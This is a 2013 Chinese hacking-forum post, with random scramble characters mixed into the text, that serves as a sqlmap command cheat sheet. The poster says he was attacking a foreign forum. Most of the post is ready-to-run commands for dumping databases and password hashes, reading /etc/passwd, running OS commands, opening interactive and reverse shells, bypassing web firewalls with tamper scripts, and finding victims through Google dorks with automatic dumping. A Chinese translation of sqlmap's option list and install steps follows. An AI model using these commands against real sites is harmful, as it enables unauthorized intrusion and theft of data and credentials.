找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2626|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
/ g0 n# `& k' x$ G: z* q# w7 B7 Jsqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称: o& D! n, b+ }0 Z5 g$ G! ^: [) S
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
) M& F- L0 m, X) ~1 }8 rsqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
' N# s' Q6 P% v" K4 t
/ F" ]8 O8 Y2 ^# Tsqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
& g# v$ e% E5 K! k; [& N0 #获取字段内容4 s/ I- ]$ N! V" ^* R

' J2 E$ V5 x- I- V  }1 q******************信息获取******************) n; K, y+ ?! R: y/ u. @! U2 m
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型% L/ s/ T2 Y; w8 _) Q3 i
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
; n% @' U# o4 Y8 o/ C& g2 D, Csqlmap -u “http://url/news?id=1″ –dbs#列数据库: R8 Z# a; L/ p8 D1 h" D* y' o; ?8 o
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码+ U0 o" g' N, P
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
- l- d& Q- N8 w! a/ \5 Nsqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
% e5 |8 i% w7 U4 o5 o1 m+ s9 {–start 1 –stop 20 #列出指定字段,列出20 条( n' L2 V2 X5 B; k- D8 E( ^
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
, q1 p& u$ X  X& i' H8 R6 Psqlmap -u “http://url/news?id=1″ –privileges #查看权限
# s; O* k: j4 ?, p' ]sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色+ B. M+ r% ^* f3 R) `. F5 c
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
- K- W$ }  r/ o7 ], v* w( K" N2 B2 |sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表: a& p1 z+ F! G2 x/ A
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
3 P! b, B! ~6 i/ @: |sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
8 X3 u! ~7 I, P$ [8 B5 u  ]sqlmap -u “http://url/news?id=1″-b #获取banner信息
, y9 y8 X2 u2 C+ G9 v# _sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
& y! h- Q7 ]7 d- ^0 ^$ b# O& Y, _sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型7 x1 E( v3 T$ j
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入3 J" \$ ^4 h: L$ S( ~
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
( k- d* i8 U1 Z# J# `sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令( J+ o# Z2 c1 \7 r' A; Q, L  a
sqlmap -u “http://url/news?id=1″ –file /etc/passwd0 @& M" l( f' u$ ~
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
3 H$ V0 g" X8 V4 u1 L" osqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
0 ?3 c* n2 G7 Ksqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表& `3 {1 h6 u9 c. \5 m+ @
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
3 l) |) D( X% A6 r% G, [sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度, [# B4 i7 V5 q2 w! x' e
***********高级用法*************
8 e3 C( o0 `% f, r- u1 I-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入- k, g7 e0 ^0 z+ ]! c
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
& T) |8 w8 y# \% c  \5 t5 f  K% V–technique   测试指定注入类型\使用的技术
3 E4 r; S  s+ V' u  w不加参数默认测试所有注入技术# o9 P' K( A9 [
•     B: 基于布尔的SQL 盲注
7 x+ {) s/ s$ F. o7 f; F/ l4 n•     E: 基于显错sql 注入- f0 M, h3 I% V# T
•     U: 基于UNION 注入$ K: u+ Q% Q' ^( f. d; y
•     S: 叠层sql 注入$ g1 u& L" P+ L
•     T: 基于时间盲注+ F* _; F) M; {( \) i
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char(): |( l- d2 w. r( p/ [, J4 M9 _6 {% y% j
–tamper 插件所在目录+ ~8 B; h+ ^& ?/ x  |. e* b- a
\sqlmap-dev\tamper
7 j0 {' u' W( J8 z0 Msqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能  B+ M: z0 s% }# t+ c/ T' D
level 执行测试等级 攻击实例:
" T3 l3 j6 n1 v* A  uSqlmap -u “http://url/news?id=1&Submit=Submit”# I; C4 U, @2 E2 T" d
–cookie=”PHPSESSID=41aa833e6d0d
( A  ]+ E# F7 d, g7 R5 k' E; z28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
! w2 }' I9 e$ c# B+ w+ k' K" q–password5 X  Z9 N/ J0 t! F/ H! ]3 d8 r
参考文档:http://sqlmap.sourceforge.net/doc/README.html
8 C2 ?* c+ F( p% Y9 t/ e+ z***********安装最新版本*************
* H5 z+ D' Q2 Z( Lubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版9 W4 \! {0 X! m  H$ O) H
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
; c; B6 q7 C' E安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
. R, l  p+ u* \2 rsudo vim /home/当前用户/.bashrc" o" I# L8 H- x) X2 E  A
#任意位置加上:
& r5 h! c6 H& m6 a' G0 yalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效  }' w7 X$ o1 E8 O! Y
如果想对所有用户有效 可设置全局 编辑下面的文件# [1 o, J: Q7 g- Y% M
vim /etc/profile3 n: V% @9 O8 w, q0 O# z
同样加上:
7 N6 n6 O# s( g; k% z" w, oalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
  B3 V, b" [0 c4 I******************windows 7 (x64) sqlmap install (SVN)************
4 m  b& V0 A  m/ ~( |( Chttp://www.python.org/getit/ 安装python+ Q9 {% F8 ^3 w2 f3 C' q3 E  w) d
http://www.sliksvn.com/en/download 安装windows svn client  i; S0 |6 @: b  d7 j
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
' ^! _% h# ]6 p4 Y" h安装sqlmap9 z( O1 h2 A4 ^9 _- k% V1 c
*修改环境变量
- ]2 k8 m$ d+ P–version             显示程序的版本号并退出
! L( E, D; {- D8 q4 Y# T* B0 I7 I, Z-h, –help            显示此帮助消息并退出) V  j6 ?- d- F% U+ e
-v VERBOSE            详细级别:0-6(默认为1)
, d( M( v- [/ eTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。3 ^# D5 i# {# C4 f% W  o% d( J, @
-d DIRECT           直接连接到数据库。
: Z/ U$ @$ j1 K8 Q-u URL, –url=URL   目标URL。
; O) x- b6 l) @. {& \# u-l LIST             从Burp 或WebScarab 代理的日志中解析目标。% A( L7 q$ z# |
-r REQUESTFILE      从一个文件中载入HTTP 请求。( r4 d# G: x9 v) i6 l4 y, P8 s3 e2 D
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。/ }/ p& y( T- ^& |
-c CONFIGFILE       从INI 配置文件中加载选项。# M. ]9 L$ d8 l8 Q  v/ {
Request(请求)::) j+ A1 r! p& j' C
这些选项可以用来指定如何连接到目标URL。
# K: c+ ^; n( q' M. p1 V: ]–data=DATA         通过POST 发送的数据字符串$ O5 \0 K, G* E# k! t& E/ H" m- x
–cookie=COOKIE     HTTP Cookie 头# n5 M1 @+ h; r% i
–cookie-urlencode  URL 编码生成的cookie 注入: N4 K" r* Y3 F, A; A; [' f
–drop-set-cookie   忽略响应的Set –Cookie 头信息
1 Y- q( k6 @3 u
* ?1 z: D+ \" F" {+ ?' U* X5 y–user-agent=AGENT  指定  HTTP User –Agent 头
9 e1 M) [; v, l6 l9 L7 B* K–random-agent      使用随机选定的HTTP User –Agent 头# P5 [  k2 \' F% e+ h8 N
–referer=REFERER   指定  HTTP Referer 头
. q' q: F% }' v–headers=HEADERS   换行分开,加入其他的HTTP 头
2 B( C; I/ G+ k5 N$ q  I8 s–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
% [# o5 e# c# E" {–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
- s9 S" W! m/ F* T–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file); |  I9 z4 t0 V. @
–proxy=PROXY       使用HTTP 代理连接到目标URL
* e9 `% I/ P" U4 ~& b–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码). m6 a: x+ r4 W7 _
–ignore-proxy      忽略系统默认的HTTP 代理
* |* W3 s' x5 y–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒; l0 {( Z4 N3 f; `; i$ B
–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)# l% B% C4 N4 u9 j
–retries=RETRIES   连接超时后重新连接的时间(默认3)
- N8 ~/ S8 {, G; W6 a–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
; c' _/ x9 E( X) {–safe-url=SAFURL   在测试过程中经常访问的url 地址3 x6 r! f( I* ?2 }
–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL9 x4 @& V9 Y4 q- _5 d
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
( `: Q% i0 O4 k& p-o                  开启所有优化开关
4 F: Y# k9 J9 `–predict-output    预测常见的查询输出
+ z/ Z% s3 {- h$ J–keep-alive        使用持久的HTTP(S)连接
7 o: P% n3 E& J+ a* d. \, o8 M–null-connection   从没有实际的HTTP 响应体中检索页面长度1 d9 J" ~6 c3 M4 O4 t. ~) k  A
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)  H+ \- j: \; p: U* E
Injection(注入):
0 c: j4 f; m/ P- ~3 H5 M+ s这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。
9 F; y1 m5 f" D  v7 R2 a0 C-p TESTPARAMETER    可测试的参数(S)
2 A( i" r2 c4 m% K/ _–dbms=DBMS         强制后端的DBMS 为此值
: D7 u/ ]* d+ D0 R3 U' o–os=OS             强制后端的DBMS 操作系统为这个值
5 G7 m. H* ]$ \' q–prefix=PREFIX     注入payload 字符串前缀6 C) }# `* n1 n  W' S: P
–suffix=SUFFIX     注入 payload 字符串后缀
# I; L* g! @" d1 C) S: R–tamper=TAMPER     使用给定的脚本(S)篡改注入数据
+ r1 B" W! K1 X% m" D; U+ xDetection(检测):6 L; m- ~( u" N/ a2 K( y
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
7 }$ W' h, b& a–level=LEVEL       执行测试的等级(1-5,默认为1)
& I& j3 A7 u' l0 }7 E4 R; B1 \1 _: L+ s–risk=RISK         执行测试的风险(0-3,默认为1)
& v, S2 c6 q. `8 H; @+ b8 x–string=STRING     查询时有效时在页面匹配字符串
* ]; z7 Y; D$ G–regexp=REGEXP     查询时有效时在页面匹配正则表达式
6 v. r- K+ C+ K, r+ _( o( s–text-only         仅基于在文本内容比较网页
9 g- N, z: C! U' \: E/ dTechniques(技巧): 这些选项可用于调整具体的SQL 注入测试。9 Y2 s" J' ~* X5 ?6 \8 h
–technique=TECH    SQL 注入技术测试(默认BEUST)
4 ^- @1 b8 j$ V" Q–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
. A3 P1 V! G( W2 Q1 [# z–union-cols=UCOLS  定列范围用于测试UNION 查询注入
% U! u( F7 Z8 y+ L8 H; y–union-char=UCHAR  用于暴力猜解列数的字符( P) g0 J! ^, P  A$ Q
Fingerprint(指纹):
1 g4 ]$ Z: V' p-f, –fingerprint     执行检查广泛的DBMS 版本指纹  O& [4 s# {+ G$ }+ _0 D, |2 k3 ^
Enumeration(枚举):
- z+ y- S; @9 P# t9 y6 m
* u0 I! {5 L7 B) V5 ~0 q这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。# t9 ~7 d7 `- N' f; ?& m
-b, –banner        检索数据库管理系统的标识- P5 _; z. e) ?2 E9 H. D: F0 `5 p
–current-user      检索数据库管理系统当前用户1 W9 @( v3 z# Y1 X* L1 L
–current-db        检索数据库管理系统当前数据库' d( s" q7 P9 g  f. @' G) V8 T) Y
–is-dba            检测DBMS 当前用户是否DBA# X! t7 s1 v& P# K; W
–users             枚举数据库管理系统用户
4 r) y5 `% ]5 T- A4 {–passwords         枚举数据库管理系统用户密码哈希
. R( P4 x8 j% S4 W! S. d8 v–privileges        枚举数据库管理系统用户的权限
3 v+ I- z6 I- c–roles             枚举数据库管理系统用户的角色' J( B6 r2 o/ L& R/ ?( o1 V" X
–dbs               枚举数据库管理系统数据库
$ E+ W" _3 Q' Q  \& @; r–tables            枚举的DBMS 数据库中的表
, }* A. l1 S+ @6 Z3 A* ~3 m" e. n–columns           枚举DBMS 数据库表列1 Y. M8 l7 K( j! A# ~
–dump              转储数据库管理系统的数据库中的表项- u$ R' G0 O5 ^3 |* s9 \. P
–dump-all          转储所有的DBMS 数据库表中的条目# B4 M) t% F2 g4 {7 g6 r  H
–search            搜索列(S),表(S)和/或数据库名称(S)
( }. M$ D. v8 q-D DB               要进行枚举的数据库名
2 H' K1 D0 ]5 e' G1 N/ i4 W7 G-T TBL              要进行枚举的数据库表
" H- _5 p& R+ W' M2 B+ K: f-C COL              要进行枚举的数据库列
4 `# d* a+ v( }9 t6 p7 S-U USER             用来进行枚举的数据库用户
( G$ f) B# C! o1 F& v2 m–exclude-sysdbs    枚举表时排除系统数据库
1 Z& s; I; m( p0 C–start=LIMITSTART  第一个查询输出进入检索9 ?# h) _2 O* I, @0 c9 I
–stop=LIMITSTOP    最后查询的输出进入检索- e& [% `  ~, w/ l+ O+ S5 e
–first=FIRSTCHAR   第一个查询输出字的字符检索
5 Q7 Y# ~+ P8 e" N–last=LASTCHAR     最后查询的输出字字符检索
3 J; w! ^1 g" K2 q# J+ p–sql-query=QUERY   要执行的SQL 语句$ k& A. M: x! z& Y
–sql-shell         提示交互式SQL 的shell
; |- a7 N6 V  P! j/ ]" sBrute force(蛮力): 这些选项可以被用来运行蛮力检查。/ M) g0 }3 g* S$ n5 ?6 ^8 L  A# V
–common-tables     检查存在共同表7 b( X7 j7 S7 X$ d
–common-columns    检查存在共同列
% v' i/ r& A7 b6 i, s0 C5 OUser-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。) p8 q- ]0 S& U; o/ `
–udf-inject        注入用户自定义函数
/ m+ T: o! ^( o* O; N3 f& }–shared-lib=SHLIB  共享库的本地路径6 P" Q. D3 S5 T6 y2 v$ p2 @3 {/ r- C( d
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。. M5 ]  |7 N3 T
–file-read=RFILE   从后端的数据库管理系统文件系统读取文件1 F0 u9 E+ o* O8 U. p0 E7 H/ f: `" |
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
  g' A& D! p8 n( p) y4 A# ^–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径. H8 n/ l( r  |" i4 D
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。7 S$ K  }5 |" F
–os-cmd=OSCMD      执行操作系统命令- S5 h6 T/ h7 \4 }( E8 \3 u. n
–os-shell          交互式的操作系统的shell$ B& s% J4 K! B  f* Q9 ^1 @+ c1 S
–os-pwn            获取一个OOB shell,meterpreter 或VNC
- p& |8 v$ i$ O% y–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC6 ^/ w3 Z2 [& J& J) e
–os-bof            存储过程缓冲区溢出利用9 v5 u9 r* V. M
–priv-esc          数据库进程用户权限提升
5 X! M1 J. X' H5 c–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
' X( O9 T# ^: @, i–tmp-path=TMPPATH  远程临时文件目录的绝对路径
! G  p- W4 |' w" Y& j & r: t$ W$ H; @" {/ E
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
* F% o7 N$ G) [4 N0 [8 d/ v. a7 S–reg-read          读一个Windows 注册表项值
" t) X" ?* M. g& Y4 U–reg-add           写一个Windows 注册表项值数据, O" ?8 g8 a! f2 }6 i8 z% e8 p
–reg-del           删除Windows 注册表键值# `" y, u- }% p0 K' y$ K% i
–reg-key=REGKEY    Windows 注册表键
% F9 f" t' v0 r! C8 N" S–reg-value=REGVAL  Windows 注册表项值
4 m1 z; Q2 k3 }2 C9 H" G. `+ i–reg-data=REGDATA  Windows 注册表键值数据
  l, r& w0 I$ I–reg-type=REGTYPE  Windows 注册表项值类型7 ?0 z8 y' t' A) m( o0 y
General(一般): 这些选项可以用来设置一些一般的工作参数。7 w! Y/ f' P+ t" w2 _/ R
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中3 @! U; c3 T& ~6 E2 t+ N( n9 L
-s SESSIONFILE      保存和恢复检索会话文件的所有数据! |! j) W9 K9 Z0 e9 V1 ?. m# r
–flush-session     刷新当前目标的会话文件; D# e) o& M) k0 F* w& O4 y
–fresh-queries     忽略在会话文件中存储的查询结果, i+ g2 D" `3 i' b9 o+ Z
–eta               显示每个输出的预计到达时间7 b- w. ~% m6 P4 a# w" M' }6 v+ i
–update            更新SqlMap
9 G3 f0 X" U0 P: O–save              file 保存选项到INI 配置文件
( @9 p' R+ O- m" }/ b9 `- ?6 S+ w–batch             从不询问用户输入,使用所有默认配置。5 G& b% f0 H& i' U8 x0 L2 v  I+ Y
Miscellaneous(杂项):
( Q" Z9 h3 B  l2 S- G–beep              发现SQL 注入时提醒
  c/ m. @; g# x–check-payload     IDS 对注入payloads 的检测测试
; `. h" }3 @! H/ h–cleanup           SqlMap 具体的UDF 和表清理DBMS
, L% [1 z/ }* j  p( w2 l- L–forms             对目标URL 的解析和测试形式
5 a- V& s/ A+ T! s9 d9 d' H–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
3 K5 h4 g" o" f5 k: I0 k–page-rank         Google dork 结果显示网页排名(PR)
  r5 j( m/ R8 T: L( ~/ W: `–parse-errors      从响应页面解析数据库管理系统的错误消息$ f" Q, s, d' }+ V$ k
–replicate         复制转储的数据到一个sqlite3 数据库! b* w2 ^: C% V6 O( T4 N
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址7 v3 h6 }$ i& x: g
–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表